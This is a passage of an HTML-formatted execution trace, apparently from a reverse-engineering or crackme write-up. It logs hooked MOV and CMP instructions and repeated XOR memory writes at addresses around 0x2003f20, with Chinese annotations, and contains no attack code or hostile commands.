class="number">0</span>x010011b5: cmp esi, <span class="number">0</span>x4d</span><br><span class="line"><span class="selector-attr">[XOR @0x10011af]</span> MEM<span class="selector-attr">[0x2003f21]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f21 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x10011af]</span> MEM<span class="selector-attr">[0x2003f22]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f22 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x10011af]</span> MEM<span class="selector-attr">[0x2003f23]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f23 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x10011af]</span> MEM<span class="selector-attr">[0x2003f24]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f24 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x10011af]</span> MEM<span class="selector-attr">[0x2003f25]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f25 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x10011af]</span> MEM<span class="selector-attr">[0x2003f26]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f26 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x10011af]</span> MEM<span class="selector-attr">[0x2003f27]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f27 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x10011af]</span> MEM<span class="selector-attr">[0x2003f28]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f28 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x10011af]</span> MEM<span class="selector-attr">[0x2003f29]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f29 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x10011af]</span> MEM<span class="selector-attr">[0x2003f2a]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2a ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x10011af]</span> MEM<span class="selector-attr">[0x2003f2b]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2b ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x10011af]</span> MEM<span class="selector-attr">[0x2003f2c]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2c ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x10011af]</span> MEM<span class="selector-attr">[0x2003f2d]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2d ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x10011af]</span> MEM<span class="selector-attr">[0x2003f2e]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2e ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x10011af]</span> MEM<span class="selector-attr">[0x2003f2f]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2f ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x10011af]</span> MEM<span class="selector-attr">[0x2003f30]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f30 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x10011af]</span> MEM<span class="selector-attr">[0x2003f31]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f31 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x10011af]</span> MEM<span class="selector-attr">[0x2003f32]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f32 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x10011af]</span> MEM<span class="selector-attr">[0x2003f33]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f33 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x10011af]</span> MEM<span class="selector-attr">[0x2003f34]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f34 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x10011af]</span> MEM<span class="selector-attr">[0x2003f35]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f35 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x10011af]</span> MEM<span class="selector-attr">[0x2003f36]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f36 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x10011af]</span> MEM<span class="selector-attr">[0x2003f37]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f37 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x10011af]</span> MEM<span class="selector-attr">[0x2003f38]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f38 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x10011af]</span> MEM<span class="selector-attr">[0x2003f39]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f39 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x10011af]</span> MEM<span class="selector-attr">[0x2003f3a]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3a ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x10011af]</span> MEM<span class="selector-attr">[0x2003f3b]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3b ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x10011af]</span> MEM<span class="selector-attr">[0x2003f3c]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3c ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x10011af]</span> MEM<span class="selector-attr">[0x2003f3d]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3d ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x10011af]</span> MEM<span class="selector-attr">[0x2003f3e]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3e ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x10011af]</span> MEM<span class="selector-attr">[0x2003f3f]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3f ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x10011af]</span> MEM<span class="selector-attr">[0x2003f40]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f40 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x10011af]</span> MEM<span class="selector-attr">[0x2003f41]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f41 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x10011af]</span> MEM<span class="selector-attr">[0x2003f42]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f42 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x10011af]</span> MEM<span class="selector-attr">[0x2003f43]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f43 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x10011af]</span> MEM<span class="selector-attr">[0x2003f44]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f44 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x10011af]</span> MEM<span class="selector-attr">[0x2003f45]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f45 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x10011af]</span> MEM<span class="selector-attr">[0x2003f46]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f46 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[STATE]</span> ESI ← <span class="number">0</span>x22</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x0100139e: mov esi, <span class="number">0</span>x9</span><br><span class="line"><span class="selector-attr">[XOR @0x10013b2]</span> MEM<span class="selector-attr">[0x2003f20]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f20 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[HOOK CMP]</span> @<span class="number">0</span>x010013b8: cmp esi, <span class="number">0</span>x13</span><br><span class="line"><span class="selector-attr">[XOR @0x10013b2]</span> MEM<span class="selector-attr">[0x2003f21]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f21 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x10013b2]</span> MEM<span class="selector-attr">[0x2003f22]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f22 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x10013b2]</span> MEM<span class="selector-attr">[0x2003f23]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f23 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x10013b2]</span> MEM<span class="selector-attr">[0x2003f24]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f24 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x10013b2]</span> MEM<span class="selector-attr">[0x2003f25]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f25 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x10013b2]</span> MEM<span class="selector-attr">[0x2003f26]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f26 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x10013b2]</span> MEM<span class="selector-attr">[0x2003f27]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f27 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x10013b2]</span> MEM<span class="selector-attr">[0x2003f28]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f28 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x10013b2]</span> MEM<span class="selector-attr">[0x2003f29]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f29 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[STATE]</span> ESI ← <span class="number">0</span>x5F</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x01000aaa: mov esi, <span class="number">0</span>x27</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x01000aaf: mov esi, <span class="number">0</span>x2f</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f20 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[HOOK CMP]</span> @<span class="number">0</span>x01000ac5: cmp esi, <span class="number">0</span>x4f</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f21 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f22 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f23 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f24 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f25 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f26 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f27 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f28 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f29 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2a ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2b ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2c ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2d ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2e ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2f ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f30 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f31 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f32 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f33 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f34 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f35 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f36 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f37 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f38 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f39 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3a ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3b ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3c ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3d ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3e ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3f ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f40 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f41 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f42 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f43 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f44 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f45 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f46 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f47 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[STATE]</span> ESI ← <span class="number">0</span>x25</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x01001311: mov esi, <span class="number">0</span>x1a</span><br><span class="line"><span class="selector-attr">[XOR @0x1001325]</span> MEM<span class="selector-attr">[0x2003f20]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f20 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[HOOK CMP]</span> @<span class="number">0</span>x0100132b: cmp esi, <span class="number">0</span>x35</span><br><span class="line"><span class="selector-attr">[XOR @0x1001325]</span> MEM<span class="selector-attr">[0x2003f21]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f21 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1001325]</span> MEM<span class="selector-attr">[0x2003f22]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f22 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1001325]</span> MEM<span class="selector-attr">[0x2003f23]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f23 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1001325]</span> MEM<span class="selector-attr">[0x2003f24]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f24 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1001325]</span> MEM<span class="selector-attr">[0x2003f25]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f25 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1001325]</span> MEM<span class="selector-attr">[0x2003f26]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f26 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1001325]</span> MEM<span class="selector-attr">[0x2003f27]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f27 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1001325]</span> MEM<span class="selector-attr">[0x2003f28]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f28 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1001325]</span> MEM<span class="selector-attr">[0x2003f29]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f29 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1001325]</span> MEM<span 